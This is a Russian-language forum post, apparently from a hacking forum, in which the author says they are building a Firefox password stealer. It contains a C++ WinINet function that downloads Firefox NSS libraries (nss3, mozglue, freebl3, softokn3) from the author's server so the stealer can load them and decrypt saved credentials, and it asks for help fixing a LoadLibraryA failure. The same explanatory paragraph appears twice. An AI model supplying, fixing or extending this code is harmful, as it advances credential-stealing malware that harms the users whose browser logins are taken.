Пожалуйста, обратите внимание, что пользователь заблокирован
Короче стоит задача мне написать стиллер для firefox, я гружу dll с сервера, вот функция которая загружает dllки
Функция вроде норм, но я думаю, что вся фигня из за нее
Так короче идем дальше, я загрузил с серва dllки их 4 - freebl3, mozglue, nss3, softokn3, дальше я их поместил в одну дерикторию вызвал функцию SetCurrentDirectoryA, передав аргумент, самого пути к папке с dllками, далее делаю загружаю nss3.dll - LoadLibraryA("nss3.dll"), возвращает 00000000, так вот с этими скачаннами файлами ничего не выходит, я даже пытался эти файлы скачанные закинуть отдельно в одну папку и попробовать сделать те дейстивия(думал проблемы с асинхронностью), так вот когда я пробую загрузить уже не скачанные файлы, а это dllки чисто из firefox, то он выводит все норм указатель на память. Я думаю это, что то в функции с загрузкой файла, хз. Сори если было много ошибок и написал много х#йни не понятной)
C++:
DWORD DownloadFile(char* url, char* filePath)
{
HINTERNET hInetSession;
HINTERNET hInetFile;
HANDLE hFile;
OVERLAPPED ovlp;
DWORD dwOffset = 0;
DWORD dwRead;
TCHAR ReadBuf[4 * 1024];
hInetSession = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)", PRE_CONFIG_INTERNET_ACCESS, NULL, NULL, 0);
if (hInetSession == NULL)
{
return -1;
}
hInetFile = InternetOpenUrlA(hInetSession, url, NULL, 0, 0, NULL);
if (hInetFile == NULL)
{
return -1;
}
hFile = CreateFileA(filePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
InternetCloseHandle(hInetSession);
InternetCloseHandle(hInetFile);
return -1;
}
do
{
InternetReadFile(hInetFile, ReadBuf, sizeof(ReadBuf), &dwRead);
if (dwRead >= 0)
{
ovlp.hEvent = NULL;
ovlp.OffsetHigh = NULL;
ovlp.Offset = GetFileSize(hFile, NULL);
WriteFile(hFile, ReadBuf, dwRead, NULL, &ovlp);
dwOffset += dwRead;
}
else
{
InternetCloseHandle(hInetSession);
InternetCloseHandle(hInetFile);
hInetSession = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)", PRE_CONFIG_INTERNET_ACCESS, NULL, NULL, 0);
if (hInetSession == NULL)
{
CloseHandle(hFile);
return -1;
}
hInetFile = InternetOpenUrlA(hInetSession, url, NULL, 0, 0, NULL);
if (hInetFile == NULL)
{
CloseHandle(hFile);
InternetCloseHandle(hInetSession);
return -1;
}
InternetSetFilePointer(hInetFile, dwOffset, NULL, FILE_BEGIN, NULL);
}
} while (dwRead);
CloseHandle(hFile);
InternetCloseHandle(hInetSession);
InternetCloseHandle(hInetFile);
return 1;
}
Так короче идем дальше, я загрузил с серва dllки их 4 - freebl3, mozglue, nss3, softokn3, дальше я их поместил в одну дерикторию вызвал функцию SetCurrentDirectoryA, передав аргумент, самого пути к папке с dllками, далее делаю загружаю nss3.dll - LoadLibraryA("nss3.dll"), возвращает 00000000, так вот с этими скачаннами файлами ничего не выходит, я даже пытался эти файлы скачанные закинуть отдельно в одну папку и попробовать сделать те дейстивия(думал проблемы с асинхронностью), так вот когда я пробую загрузить уже не скачанные файлы, а это dllки чисто из firefox, то он выводит все норм указатель на память. Я думаю это, что то в функции с загрузкой файла, хз. Сори если было много ошибок и написал много х#йни не понятной)